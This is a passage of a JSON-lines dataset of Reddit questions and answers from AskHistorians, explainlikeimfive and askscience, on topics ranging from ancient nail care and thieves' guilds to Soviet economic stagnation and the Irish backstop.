nails and a sort of hair pomade made of materials probably imported from northeastern-ish Iberia. (Tollund Man and Graubelle Man, from Denmark, are two others frequently cited as having manicured fingernails.)\n\nIt's not unusual for later Bronze Age/early Iron Age northern European bodies to be buried with \"hygiene kits\"--razors for men, tweezers, and a sort of mortar-and-pestle set that may have been used to grind powder for makeup. Fair warning, I'm WAY out of my normal area here--reading AskHistorians has given me a side interest in how archaeologists interpret gender roles and practices from gravesites. But to my knowledge, we don't see specific tools used for nail *trimming*. Instead, there are [nail *cleaners*](_URL_1_). \n\nThese are particularly prevalent in grave sites in Britain: elite graves from the pre-Roman period, and then becoming more common during the formal Roman presence. They're found at all sorts of sites--villages, larger towns, military camps, Roman villas, suggesting a distribution across social strata. I should note, following Hella Eckhardt, that we can't be these are specifically nail cleaners. However, in British sites' hygiene kits they replace the type of pick more typically found in Gaul and have a tip type that seems more suited to be a *dedicated* nail cleaner versus the other major possibility, a tooth pick.\n\nAs far as nail *cutters* go, there are a few options. First, scissors in the sense of \"two blades that slide past each other\" are quite ancient. In ancient Rome proper, where nail hygiene was a defining element of style, barbers used a tool called a *cultellum tonsorium* (literally, \"barber's little knife\") to cut customers' nails. The tradition of using knives persisted in the Latin Middle Ages. I have read that archaeologists have found what they suspect are specialized nail-cutting tools in Romano-British grave sites, but I've not seen a clear description of how they functioned.", "While there's always room for new answers, you'll be interested in [this one](_URL_0_) by the inimitable /u/sunagainstgold."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://www.reddit.com/r/AskHistorians/comments/4px0bd/did_everyone_bite_their_nails_before_nail/d4oooei/", "https://www.tripadvisor.com/LocationPhotoDirectLink-g186306-d3392727-i94500808-Verulamium_Museum-St_Albans_Hertfordshire_England.html"], ["https://www.reddit.com/r/AskHistorians/comments/4px0bd/did_everyone_bite_their_nails_before_nail/d4oooei/"]]}
{"q_id": "211xil", "title": "Is there any historical basis for the \"Thieves Guild\" in most fantasy stories?", "selftext": "Bonus question: If no to the main question, when did the idea of the \"Thieves Guild\" become popular in media?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/211xil/is_there_any_historical_basis_for_the_thieves/", "answers": {"a_id": ["cg8xkow", "cg8yz0u"], "score": [52, 166], "text": ["The idea of \"Thieves Guilds\" is not a new idea and did occur many times in history.  Secret Societies and mafia like organizations can be found in many places in and in many periods.  I specialize in Chinese history, and can answer your question in this context.  For a great novel on a Chinese \"Thieves Guild\" read the [Water Margin](_URL_3_) you can buy the best translation [here](_URL_0_)  The original was written in the Ming Dynasty about a group of loyal bandits who go together to form a Robin Hood style band.  The idea of a \"Robin Hood\" band of bandits is not new, and forms the basis of a thieves guild found in many fantasy stories.  Secret Societies often were an outgrowth of increased discontent or a way to bring order where centralized rule was lacking.  The stories associated reflect real organizations.  In China these societies included the [Heaven and Earth Society](_URL_2_), [The Elder Brotherhood society](_URL_1_), and can be traced many Rebellions such as the White Lotus Rebellion, Yellow Scarfs Rebellion, and many others.  The \"Guilds\" or secret societies therefore played large roles in bandit organization which could lead to the overthrow of a local leadership.", "I'm not an expert by any means, but both answers so far have looked at early fiction rather than reality\n\nThieves Guild's *do* seem to be more a fictional occurrence than based in reality, however I have found at least one source that argues that there have been examples, the major problem I've seen is that because they were \"unofficial\" guilds, the literature tends to brush over them. At least from what I can research right now, there may be better literature on the subject in my university library (which I can't get to right now)\n\nAnyway in *The Islamic Guilds* by Bernard Lewis you have this paragraph\n\n > There remains to be mentioned one very curious phenomenon \nin Muslim guild life-that of what are known as the immoral \nguilds. From the earliest times we find, in Muslim lands, organised guilds, complete with ceremonial, code and rites, of such \" professions \" as thief, brigand and bandit. The Banu Sasan, or organised bandits of Cairo, long exercised considerable power, \nand during the period of disorders under the Abbasid Caliph al-Muqtafi, the thieves' guilds  of Baghdad seem to have dominated the town. These organisations, which, needless to \nsay, had no real contact with the true artisans' guilds, nevertheless served to bring the latter into disrepute, and were often used by anti-guild polemists as a means of attack.\n\nThis suggests that there were certain guilds for immoral purposes, and in the case of Baghdad, thieving is included. However this brief mention is all I could find of it, however I have found this sort of guild backed up by a look at Turkish guilds in a similar period.\n\n > Entertainers of all kinds and members of the so-called 'immoral guilds', such as prostitutes, pickpockets, etc. The fact that these guilds do not generally figure in documents on the guilds' administrative, economic or social functions does not mean that they did not exist.\n\nThis comes from Gabriel Baer's *The Administrative, Economic and Social Functions of Turkish Guilds*. Whilst it's talking about Turkey, rather than Baghdad in this sense we can see the Middle Eastern / Muslim populations forming guilds much more spontaneously than their European contemporaries who were much stricter with rules allowed for these \"immoral guilds\" to flourish.\n\nWhilst this isn't thieving, the biggest example of an \"immoral guild\" in Middle Eastern society could be seen to be the Assassin's from the Middle East, the group led by Hassan-i Sabbath, probably their most famous hit (although unsuccessful) would have been against Edward Longshanks / Edward I\n\nSources\n\nBaer, G. (1970). The administrative, economic and social functions of Turkish guilds. International Journal of Middle East Studies, 1(01), 28-50.\n\nLewis, B. (1937). THE ISLAMIC GUILDS. The economic history review, 8(1), 20-37. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.amazon.com/Outlaws-Chinese-Classics-Classic-Volumes/dp/7119016628/ref=sr_1_2?s=books&amp;ie=UTF8&amp;qid=1395472885&amp;sr=1-2&amp;keywords=water+margin", "http://en.wikipedia.org/wiki/Gelaohui", "http://en.wikipedia.org/wiki/Heaven_and_Earth_Society", "http://en.wikipedia.org/wiki/Water_Margin"], []]}
{"q_id": "7eafsw", "title": "People's personalities are not fully developed until they are around 25, if I understand the science correctly. Do we know if, 100 years ago, before the idea of the 'teenager' was as fully developed as it is today, when most people were married with kids at 25, this was also the case?", "selftext": "I'm wondering whether we have any insight as to whether this is environment-driven (and particularly curious regarding places where  we have a long cultural record of the effects of popular culture, so the US and Britain, for example)", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/7eafsw/peoples_personalities_are_not_fully_developed/", "answers": {"a_id": ["dq3nkpx", "dqacv8j"], "score": [8, 3], "text": ["You might try cross-posting this to r/AskAnthropology.", "There is a lot of academic literature on this topic, much of it discussing the erroneous conclusions people have drawn from various Western-conducted studies on brains.  Most of it is functional MRI research.\n\nThe upshot is that brain plasticity is a complex topic, and has little do with when \u201cmaturity\u201d is accomplished or \u201cpersonalities\u201d are full blown.  What little research there is outside the West indicates that whatever has been found in some Western studies is not a human universal.\n\nIn other words, no, it wouldn\u2019t necessarily be the case for other time periods or other cultures.  There\u2019s variation within the Western individuals studied, and there\u2019s virtually no research on *why* that variation might be occurring.\n\n\nI don\u2019t have my bibliography on this topic handy, and I\u2019m on mobile so the following URL is a bit unwieldy:\n\n_URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://books.google.com/books?hl=en&amp;lr=&amp;id=0ZbPmsp2qWoC&amp;oi=fnd&amp;pg=PR7&amp;dq=brain+maturation+cross+cultural&amp;ots=xCtuFMK6NU&amp;sig=5-lbOMC7QBNu1b8YVQ8yj_B4te8#v=onepage&amp;q=brain%20maturation%20cross%20cultural&amp;f=false"]]}
{"q_id": "9azjyq", "title": "how does a computer cooler works and why shouldn't i just leave my computer open and point a fan at it?", "selftext": "Sorry for the dumb question, I'm genuinely curious about that.\n\nOne of my extra coolers stopped working so I've been doing this instead, afraid my computer would overheat.\n\nI've been using a software to keep track of the inside temperature of my computer and everything usually stays within the 20-40 \u00b0C range.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9azjyq/eli5_how_does_a_computer_cooler_works_and_why/", "answers": {"a_id": ["e4z6qwe", "e4z6sam", "e4z6vlv", "e4z7zev", "e4z87tb"], "score": [10, 3, 3, 2, 2], "text": ["This is technically ok (as long as all your temperatures are good, which you are monitoring). Just be careful about dust. With the way your computer is now, it is extra prone to building up dust, which would act as an insulator, causing overheating in the future", "Depends on the set up and load. Electricity produces heat, and the tiny places in between electronics are hard to get air through. Thermal transfer is a more efficient way of keeping those hotspots down. If just one of your tower fans went out there is no difference. If your CPU cooler or GPU cooler went down then you could lose longevity or performance. The hotter electronics are the worse they perform.", "So the cooler has two parts, the heat sink and the fan. The heat sink pulls heat off the CPU and the fan blows it towards the exhaust. Ideally your setup should pull air from one part of the case and out the other creating a current that cools all the parts. Using an external fan to blow into the side with the case off may keep it cool but it will also blow dirt/hair/dust into the computer and it leaves the guts of the machine more exposed to potential damage.", "Heat naturally \"flows\" from places that are more hot to places that are less hot. The air around the CPU chip is pretty much always going to be cooler than the chip when it's running, at least until the air absorbs that heat. The closer they are in temperature, the less effectively the air will move heat away from the chip. \n\nA fan moves the warmer air out of the way so relatively cooler air can come into contact with the chip, cooling it more effectively. However, the heat moves mostly through contact. The more the chip touches the air, the more heat can move. Air is pretty bad at transferring heat. A heat sink is added, with fins that greatly increase the surface area with the air. Metal is *very* good at transferring heat, so heat moves from the chip to the heat sink easily (with the help of thermal compound between the two).\n\nWithout a fan working, the chip is limited in how much work it can do. The more work you make the CPU do, the more electricity it uses, and the more heat it generates. Your CPU is almost certainly automatically throttling the power, limiting the output of the CPU and reducing the heat to avoid damaging the chip (aka \"thermal throttling\"). So your computer is probably not running as quickly as it normally would. If it still can't stay cool enough to avoid damage, it will shut itself down. If it can't shut itself down for some reason, it will degrade, probably very quickly. \n\nA desk fan still moves air, but not as efficiently because you're moving a lot of air and not a lot of that air is passing directly through the heat sink. ", "The whole idea of a computer cooler is to take heat in a small area and spread it around. A cooler then will typically have a plate which provides as much surface area as possible with the component and then a circulating fluid or other method of conducting the heat elsewhere. That elsewhere is a \"heat sink\", usually a radiator which has fins to greatly increase surface area with the air and a fan to push air through them.\n\nFailure of a cooler then can occur in a variety of ways. If a liquid cooler for example loses its pump then the fluid stops circulating and the heat never makes it to the radiator to be shed. This is a **major** failure and can destroy a computer in moments. Some coolers use passive circulation so pumps aren't an issue, so the only thing that can fail is the fan. That is much less of a problem and other air circulation methods can help such as case fans that move air generally through the interior.\n\nIt sounds like one of your case fans went out and those don't matter all that much. They just move air through the housing and there is often redundancy anyway. Opening the housing and directing an external fan at the interior is perfectly functional."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "beyjh9", "title": "how are people sticking pencils and charger blocks to the wall?", "selftext": "This is getting pretty large online and I am incredibly confused. I just watched a classmate of mine stick around 10 objects to the wall which did not have any adhesive on them. The objects stayed there until they were removed. How/why does this happen?\n\nProof: Weird wall stuff _URL_0_", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/beyjh9/eli5_how_are_people_sticking_pencils_and_charger/", "answers": {"a_id": ["emo2ps8", "el9j3gz", "el9joi3", "el9jsfn"], "score": [6, 4, 2, 8], "text": ["Rubbing produces friction.\n\nFriction produces heat.\n\nHeat makes the thick paint at school melty/gummy.\n\nObjects stick to gummy paint.\n\n**Source:** I'm a teacher that tried it myself  &  this seems to be the answer.", " Video record the event, so there's slight proof of no adhesive. Does your hair become charged if you rub it against the wall?", "they're most likely mildly deforming the paint on the wall and pushing out any air trapped between them in order to create a small amount of suction, similar to a suction cup. notice that all the objects people do this with are smooth and very light weight. plastic pens, painted wooden pencils, apple's pristine white plastic cases, etc.", "I\u2019ve seen this at school, but I haven\u2019t managed to do it myself. The objects are resting on the divots in the paint on the walls.\n\nPaint on walls at school is a lot thicker than residential paint and consequentially has many divots. It is quite difficult to do this around the house because residential paint is thin and smooth."]}, "title_urls": [], "selftext_urls": ["https://imgur.com/gallery/r8g7K2Z"], "answers_urls": [[], [], [], []]}
{"q_id": "154d1a", "title": "What needs to be matched for a bone marrow donation and why is it so hard to find a match? There are 6(?) blood types, how many \"types\" of bone marrow stuff are there?", "selftext": "Sorry, I don't know much about biology.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/154d1a/what_needs_to_be_matched_for_a_bone_marrow/", "answers": {"a_id": ["c7jc0be"], "score": [4], "text": ["They need to be matched for [HLA](_URL_3_) types, which are polymorphic versions of the proteins that create the [major histocompatibility complexes](_URL_0_) that are so important to self vs non-self recognition.  These proteins are very important for communication within the immune system and allow targeted destruction of foreign cells or even native cells that have become damaged/infected/cancerous.  When there is a mismatch, rejection problems like [graft vs host disease](_URL_4_) can occur.\n\n[This table](_URL_2_) gives you an idea for the degree of variation in HLA subtypes.  Note that for most matching, you would need to find a donor that is compatible at at least [6 of 8 HLA loci](_URL_1_).  When you consider the range in variation of the HLA types, you can see why family members are so often preferred, since the chances of matching with a random stranger are quite low (though the chances of having *someone* matching you are fortunately not as minute)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Major_histocompatibility_complex", "http://marrow.org/Patient/Transplant_Process/Search_Process/HLA_Matching__Finding_the_Best_Donor_or_Cord_Blood_Unit.aspx", "http://en.wikipedia.org/wiki/HLA_type#Variability", "http://en.wikipedia.org/wiki/HLA_type", "http://en.wikipedia.org/wiki/Graft_vs_host"]]}
{"q_id": "58bsex", "title": "who actually funds the members of the united nations (un) and all thoes employed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/58bsex/eli5_who_actually_funds_the_members_of_the_united/", "answers": {"a_id": ["d8z3704", "d8z5by2", "d8z8zjz", "d8zum04"], "score": [24, 3, 12, 2], "text": ["The UN is funded by contributions from its member states. The contribution level for each member state is calculated based on gross national income for the country. Some UN agencies, such as peacekeeping operations, are funded mostly or fully by the UN core budget. Other agencies, such as UNHCR, UNICEF and the World Food Programme get most of their funds from bilateral donations from individual governments and the private sector/general public. \n", "Each country pays dues and the amount depends on the country itself. The USA actually refused to pay for a few years until the UN was able to lower its expected payment. \n\nEverything in the UN is voluntary in terms of whether or not the states choose to participate. The UN is not a world government.  ", "The US contributes over 22% of U.N. funding. The top 20 countries, of the 173 member countries, contribute 84.5% of the funding.\n\n_URL_0_\n\n", "There's a funny story about [Tuvalu](_URL_1_) joining the UN in 2000, once it was finally able to afford the dues to the various agencies and the UNGA. \n\nThey secured their membership dues entirely by selling [.tv internet domains.](_URL_0_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://factly.in/united-nations-budget-contributions-by-member-countries/"], ["http://www.zdnet.com/article/dot-tv-buys-tuvalus-way-into-u-n/", "https://en.wikipedia.org/wiki/Tuvalu"]]}
{"q_id": "5eoird", "title": "the european environment agency says that 500k europeans die prematurely each year because of pollution. how does one measure this?", "selftext": "[The article in question on EEA site](_URL_0_). A colleague (kindergarden-mate of course) was trolling me about this and I was unconvincing when explaining how does one study this. I'd love your input.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/5eoird/eli5_the_european_environment_agency_says_that/", "answers": {"a_id": ["dadyix8"], "score": [2], "text": ["I didn't read the article but any good study provides is sources of information for peer review. I would assume they look at all deaths reported and see what the contributing factors are. Cancers and what caused it, organ failure and what caused it, etc... They should also list their calculated margin of error. \n\nExample: Johan died of lung cancer at age 34 didn't smoke, has no history of lung cancer in the family and lives next to a coal power plant. Also his specific form of lung cancer is linked to fossil fuels. \n\nSafe to assume it was probably the pollutants in the air. Depending on how accurate they want to be they can perform more tests and dig deeper into the situation. Some cases will be more open and shut while others would require a lot more investigating to be sure. "]}, "title_urls": [], "selftext_urls": ["http://www.eea.europa.eu/highlights/stronger-measures-needed"], "answers_urls": [[]]}
{"q_id": "4k6jwk", "title": "I\u2019ve read that USSR was extremely inefficient in its industry and agriculture, and had to buy grain, food, and machinery from the west, starting at least in the 1960-s. Why couldn\u2019t they produce enough food and machinery by themselves?", "selftext": "I\u2019m asking specifically about the period from the mid-1960s to the mid-1980s, as there are quite a few posts on this sub about the early years of the Soviet Union, as well as about its collapse. \n\nFor what it is worth, my source for USSR having to buy food abroad is Collapse of an Empire: Lessons for Modern Russia, by Yegor Gaidar.\n\nThanks in advance to everyone who comments on this post. \n\n\n\n", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4k6jwk/ive_read_that_ussr_was_extremely_inefficient_in/", "answers": {"a_id": ["d3ddx78"], "score": [17], "text": ["As the Soviet leader Mikhail Gorbachev admitted in the late 1980s, central planning simply failed to create the efficiency necessary for the Soviet Union to compete economically with its Western counterparts. It had been taboo for Communists to address this fact since the end of the New Economic Policy of Lenin, and so the Soviet economy had stagnated unnecessarily for most of its existence.  If you want to know about the economy in the 1980s, you have to start with Stalin's destruction of the NEP.\n\nA central tenet of Communist faith throughout the twentieth-century was that the state could create faster economic growth by redirecting all profits into the development of **capital goods**, i.e., things like factories and machinery that can create other goods (the \"means of production\" that Marx had called upon the workers of the world control).  The theory seemed sound even to many in the West in the early twentieth-century, as it seemed that profits were at least *partially wasted* in capitalist societies on the extravagances of the super-wealthy.  If all of this waste was instead redirected into making things that are used to make other things (in creating steel mills, factories, railroads, etc.), then a positive feedback loop would accelerate the economy.\n\nAfter the creation of the Soviet Union, however, Lenin recognized that the destruction caused by the Russian Civil War (1917-1922) had destroyed the economy.  In order to jump start the economy, he instituted the New Economic Policy (NEP), which allowed for small-scale business ownership while the state controlled massive industries such as transport, communication, steel production, etc.  A businessman could create a shoe shop, for example, for profit.  Some businessmen from the West who worked in the Soviet Union at the time famously noted that these Soviets \"weren't so bad after all.\"  Moreover, farmland at this time was privately owned by former peasants.  Indeed, private land ownership had been one of the major reasons that the countryside had originally supported the Communist movement (early, all land was owned by the aristocracy).  Under the NEP, the major driving force of economic growth was the exchange of products developed in the cities for grain grown in the countryside (the hammer and the sickle in full bloom).\n\nAfter Lenin's death, Stalin originally supported the continuation of the NEP (and in fact used this point to marginalize some of his opponents within the Party).  After a grain shortage in 1928 and the threat of a major recession, however, Stalin violently turned against the NEP and initiated the period of Collectivization.  This meant seizing all farmland from the peasants, forcing the richest of them into work camps (they were the \"bourgeoisie\"), and the development of large-scale farms that were operated by whole \"collectives\" of farmers forced to live together.  This plan succeeded in staving off a recession, providing cheap grain to the cities, and in creating surplus grain controlled by the state that it could sell on international markets in order to fund industry, but it also limited the overall grain production possible in the Soviet Union.  Western economists have in particular pointed to the imprisonment of the richest farmers, since they were, by definition, the \"most productive\" farmers.  \n\nThis process of complete centralization of all aspects of the Soviet economy had very extreme effects on the Soviet people.  Because grain was seized from the peasants for the cities (and for sale on international markets) and because the peasants were forced to collectivize, a massive famine killed millions of people in Ukraine in 1932-1933.  At the same time, however, the over-investment in industry also allowed the Soviet Union to fight off the German invasion of 1941.  This is part of the reason Stalin's legacy is complicated in Russia today: he may have committed genocide in Ukraine, but he also may have saved Europe from fascism.  But that's another story.\n\nCentral control of the economy remained in place after the Second World War and was the primary cause of Soviet and Eastern Bloc stagnation in comparison to the West.  Here are some of the problems that economic historians point to in regards to central control of the Soviet economy:\n\n1.  Too little investment in consumer goods.  As the West revealed after the Second World War, the driving force behind a healthy economy (during the period) was the ability of an economy to adapt to and meet consumer demand.  This was one cause of massive shortages of certain products.\n2.  Surpluses and shortages caused by price controls.  In a free market economy, prices change, and so in times of excess prices drop and in times of too little prices go up.  This allows quantity demanded and quantity supplied to reach some equilibrium.  In the Soviet Union, however, if a consumer good did not sell, it simply wasted away in inventory.  Even worse, however, when there was not enough of a good, it sold out too quickly, leaving some who may have been willing to pay more without the good.\n3.  Too much investment in low-quality capital goods.  When the Soviet Union wanted a factory built, it contracted someone to do it and refused to yield on the timing or the price of that factory.  This meant that unexpected problems in development had to be overcome at the cost of the developer.  Thus while the Soviets were able to reinvest profits into capital goods, the capital goods that they developed were sub-par to their Western counterparts--*even when they contracted companies from the West to build them.*\n4.  Merit-based system, where it did exist, was based on quotas instead of sales.  Similar to the problem with low-quality capital goods, consumer goods were produced on a quota system, which meant that a manager of a factory was judged not on how well his products *sold,* but whether he could produce enough of the product to meet his *quota.*  There was, therefore, an incentive to produce goods that nobody actually wanted or which would fall apart in short order.  Neither of these are good things for an economy.\n5. Lack of profit motive.  What makes engineers, workers, managers, and professionals so productive in the West is that they get paid more when they outperform their competitors.  All profits in the Soviet Union, however, were turned over to the state.  Combine this with the fact that good work might only *increase ones quota,* and there was no incentive for managers in the Soviet Union to do more than meet their quota.\n6.  Trade restrictions.  On ideological grounds, the Soviet Union limited trade between its empire and the West.\n\nWhat makes all of this strange in the postwar era is that the Soviets recognized these problems but could not address them without undermining the ideology that allowed them to dominate this sphere.  Stalin's successor Nikita Khrushchev met with then Vice President Richard Nixon at an American exhibition in Moscow that showed off American consumer good technologies.  With television cameras fixed on them, the two debated (the \"Kitchen Debate\") the merits of the two system.  It was awkward for the Soviet leader, because, right before him, were things like dish-washing machines and other appliances that the Soviet Union simply could not produce.  Nevertheless, Khrushchev declared that the Soviets would soon have all this and more--that their system would prove better than the American when the Soviet Union surpassed the United States in short order.  \n\nOf course, not only did the Soviet Union fail to catch up to the United States, but it became quite obvious by the mid-1960s that the West would even continue to outpace Soviet economic growth.  This came to a head in Czechoslovakia, the richest per capita nation in the Eastern Bloc and, prior to the war, once one of the richest per capita nations on earth (Czechoslovakia held 4/5 of the industry of the former Austria-Hungarian empire upon its creation).  The very economic minded Czechs refused to allow their economy to stagnate, and so they created a complicated plan that would re-introduce a profit motive, allow for pseudo-private ownership, remove price controls, and re-open trade with the West.  When economic changes did not occur fast enough, the Czechoslovaks overthrew their Stalinist leader Novotny and replaced him with the relatively young Communist Alexander Dubcek, who sought to push through these economic reforms more rapidly.  Contrary to popular opinion in the United States today, *the Soviet Union (then led by Brezhnev) in fact supported these economic reforms and hoped that Soviet interest would be served by a rejuvenated Czechoslovak economy.*  The problem, however, was that these economic reforms coincided with other major political reforms, most notably the freeing of the Czech press.  These other reforms, which came to define the so-called \"Prague Spring,\" unleashed a wave of anti-Soviet activity in Czechoslovakia that eventually compelled Brezhnev to support an invasion of Czechoslovakia to put an end to the reform movement.  The Czechoslovak economic reforms, which very well could have saved the Soviet empire if they had worked without the negative side-effects of a full-blown counter-revolution, were in any substantial form thrown aside with the entire Prague Spring.\n\nThis leads us to the period in question: the 1960s-80s.  The answer to your questions lies in all that came before.  The Soviet Union had created a command economy that stifled economic growth, both in the fields and in the factories.  Any hint at reform undermined a Soviet ideology that legitimized domination of their sphere by declaring that it was *better in every way* than the ideologies guiding economic activity in the West.  Indeed, once Gorbachev came to power and instituted a new age of Soviet domination by allowing for open discussion (\"Glasnost\") and reforms the economy (\"Perestroika\"), the Soviet empire collapsed.  "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "44jzs3", "title": "why do we go straight into rem sleep during an afternoon nap, but go into deep sleep first when we go to bed at night? how does the brain distinguish between a nap and a full nights sleep?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/44jzs3/eli5_why_do_we_go_straight_into_rem_sleep_during/", "answers": {"a_id": ["czqrh30", "czr41zv", "czryhph"], "score": [6, 3, 2], "text": ["If you're taking a nap in the afternoon, you're most likely very exhausted as opposed to falling asleep at night just because it's time for you to go to sleep.  Also, REM sleep only lasts about 90 minutes.  So if you get 8 hours of sleep at night, 90 minutes is a small portion of your sleep so you aren't going to realize that REM sleep as much as you would with a couple hour nap.", "Yes, I'd say you're exhausted if you fall directly into REM. I take naps in the afternoons and don't go into REM. But I nap because I'm lazy, not because I'm exhausted.", "Just because you have a dream during a short nap doesn't guarantee that you were in REM sleep, in case that's what you're going by. You *can* dream in lighter stages of sleep."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], []]}
{"q_id": "ckpfal", "title": "what is the irish backstop and why is it so important?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/ckpfal/eli5_what_is_the_irish_backstop_and_why_is_it_so/", "answers": {"a_id": ["evpg3ev", "evpg65t", "evpil0v", "evpjhxr", "evplrk0", "evpnj15", "evr4sz6"], "score": [5, 22, 7, 3, 2, 2, 2], "text": ["It's the border between The Republic Ireland(aka \"just Ireland\") and Northern Ireland. They're two different countries on one geographical island. The Republic of Ireland is a sovereign state, while Northern Ireland is part of the UK.\n\nIf the UK leaves the EU, that border becomes a relatively large border between an EU country and a non-EU country, with repercussions regarding trade and travel. Nobody involved wants to make this border more difficult to traverse or do business across, but it could become quite complicated after brexit.\n\n & #x200B;\n\n [_URL_1_](_URL_0_)", "The United Kingdoms and Ireland have a long and troublesome history. It is not completely wrong to consider it a hundreds of years long war, at least when you look at the body count and the land that changes hands. In 1997 the Good Friday agreement were signed which is similar to a ceasefire. The boarders between the independent Republic of Ireland in the south and the United Kingdom of Northern Ireland is fixed in place and the hostilities between the countries have mostly ended. And due to the close proximity of the countries and the complex boarder there is a lot of trade between them. A lot of people cross the boarder every day in order to work and shop. Economically they are the same region. This is no issues as both the UK and Ireland is part of the EU which allow for free movement of people and goods across boarders. However the UK have chosen to leave the EU. According to the laws and regulations this would mean that boarder checkpoints needs to be erected between Northern Ireland and the Republic of Ireland and that everyone needs a passport and visum to cross it and all goods needs to be taxed. Not only would this cost a lot of money to build and maintain the boarder with its thousands of roads crossing it and a huge economic impact for the people living in the region. However it would again split the Irish people in two who have been living together in peace for over two decades.\n\nThe obvious solution is the backstop. This is a set of proposed boarder checkpoints between Northern Ireland and the rest of the United Kingdoms. The boarder here is much less complicated as it is restricted to airports and ferry terminals. There is a lot less traffic and the economic connections is much less. However this means that Northern Ireland would have to partially remain in the EU unlike the rest of the UK. It also means that trade between the rest of the UK and Northern Ireland would be much harder then it is today. This can make Northern Ireland more detached from the UK then they currently are and might make them want to leave the UK.\n\nIt should also be noted that there is similar issues with Gibraltar.", "The island of Ireland is split between the independent country Ireland (aka the Republic of Ireland) and Northern Ireland, which is part of the UK.\n\nLots of people are not happy about Ireland being split like this, and would prefer Northern Ireland to be part of the republic. This, as well as some other reasons, led to a conflict called \"The Troubles\". On one side of this conflict was Irish nationalists who wanted Ireland to be united, and on the other side was the British government and unionist (i.e. supporting the union with Great Britain) paramilitaries.\n\nThe Troubles ended with an agreement involving the British and Irish governments, as well as the groups involved in the conflict. As a result of this agreement all the border checkpoints between the two countries could be removed.\n\nThis was possible because both the UK and Ireland were members of the EU. They already had an agreement which avoided the need for passport checks, but both being in the EU also meant there was no need for customs controls or any other checks on goods crossing the border.\n\nNow the UK has decided to leave the EU it's not clear how to keep this border open. No one wants to put up a physical border because it could risk violence starting up again. It would also massively inconvenience people and businesses near that border. It would be difficult to put up the border controls because there are roads that weave in and out of each country, houses that sit on it, farmers fields that straddle it.\n\nBut despite this the UK wants to set its own regulations on goods and make their own trade deals, which would require some kind of customs controls for goods travelling across that border. Some politicians have claimed that there could be a \"technological\" solution to this that avoids the need for physical checks at the border, but so far no one knows exactly how that would work.\n\nSo the \"backstop\" has been proposed. That would keep the UK aligned with EU regulations and customs until another solution can be found. It's controversial because many worry it would keep the UK under EU rules indefinitely despite no longer being a member. But on the other hand it's currently the only way to guarantee that border stays open, and the EU will not agree to any deal without that guarantee.", "So normally when you visit another country you have to show your passport and explain why you're visiting and such. \n\nWell that hasn't been the case between the UK and Ireland for a while now. Especially in Northern Ireland which is part of the UK but is distinct from the Republic of Ireland, both of which are located on the island of Ireland. That agreement came about because of the long and bloody history of British Colonization of the whole of Ireland and part of the peace treaty (known as the Good Friday Agreement) between the now Republic of Ireland and the UK (including Northern Ireland) was that there would be free movement between Irish and UK citizens. There's no border checkpoints or anything. It's like driving to the next town over except you're in a different country. \n\n & #x200B;\n\nThen you have the creation of the EU which applied some of those principles across much of the EU. Going from France to Germany is now trivial similar to traveling between states in the USA. You don't even need a passport if you're a EU citizen (lots of technicalities and exceptions but stay with me). \n\n & #x200B;\n\nWell then Brexit happened. So now the UK is opting out of all that common travel stuff that came with EU membership but now the Republic of  Ireland is still part of the EU. So that makes it very complicated because the UK wants to keep the relationship with Ireland going like it is but while also limiting its interaction with the EU. \n\n & #x200B;\n\nSo the backstop proposal is that specifically in Northern Ireland some of the EU rules will still apply so that it doesn't complicate the agreement that the UK and the Republic of Ireland made back in the 90s via the Good Friday Agreement. Then the UK can come to an overall agreement with trade to the EU without immediately messing up the current situation between the Republic of Ireland and Northern Ireland today.", "On top of all the explanations given above remember also that both sides of the situation hold very, very deeply ingrained beliefs.  Unionists are/have been violently opposed to losing any kind of tie to the UK - in a very broad sense they don\u2019t want to be part of Ireland - and republicans want for Northern Ireland to be Irish, not part of the UK.  Hence there is no easy solution and why the Good Friday agreement is so critical.  Without the agreement and stable devolved, localised rule there exists a very real risk we will go back to what amounts to terrorist action from both sides (although bear in mind the terrorist term is applied by the neutral and both sides consider they are fighting a war for their very survival).\n\nHaving lived through the tail end of the troubles, as they are called, it\u2019s very worrying to see the utterly dismissive attitude to the problem taken by politicians.  After all if cities start getting bombed again it\u2019s unlikely to be politicians getting killed.", "Northern Ireland is part of UK.  \nThe rest of Ireland is part of the EU.    \n     \nThe Good Friday Agreement ended an armed conflict, by agreeing among other things that there would not be a hard border between the rest of Ireland and the UK.      \n  \nNo Deal Brexit means hard borders go up between the EU and UK.  \n  \nSince Ireland is EU and Northern Ireland is UK, that means a hard border going up between Ireland and Northern Ireland.  \n  \nThis violates the Good Friday Agreement, and could lead to fighting starting again.    \n  \nThe backstop means the border is technically there in between Ireland and Northern Ireland, but nobody is really going to check really hard.  \nSo the Good Friday Agreement is upheld, so fighting doesn't happen.  \nHowever, this doesn't make brexit people happy, as stuff from the EU could get into the UK through Northern Ireland.  \nAnd nobody wants to put a border up between Northern Ireland and the rest of the UK.", "Before we can answer that question, we need some backstory on Ireland.  And it's gonna be a lot, so strap in.\n\nBackstory part 1: Ireland isn't a country, but rather an island with 2 distinct countries on it.  Those two countries are **The Republic of Ireland** and **Northern Ireland**.  They are very much different and separate countries, despite being on the same island.  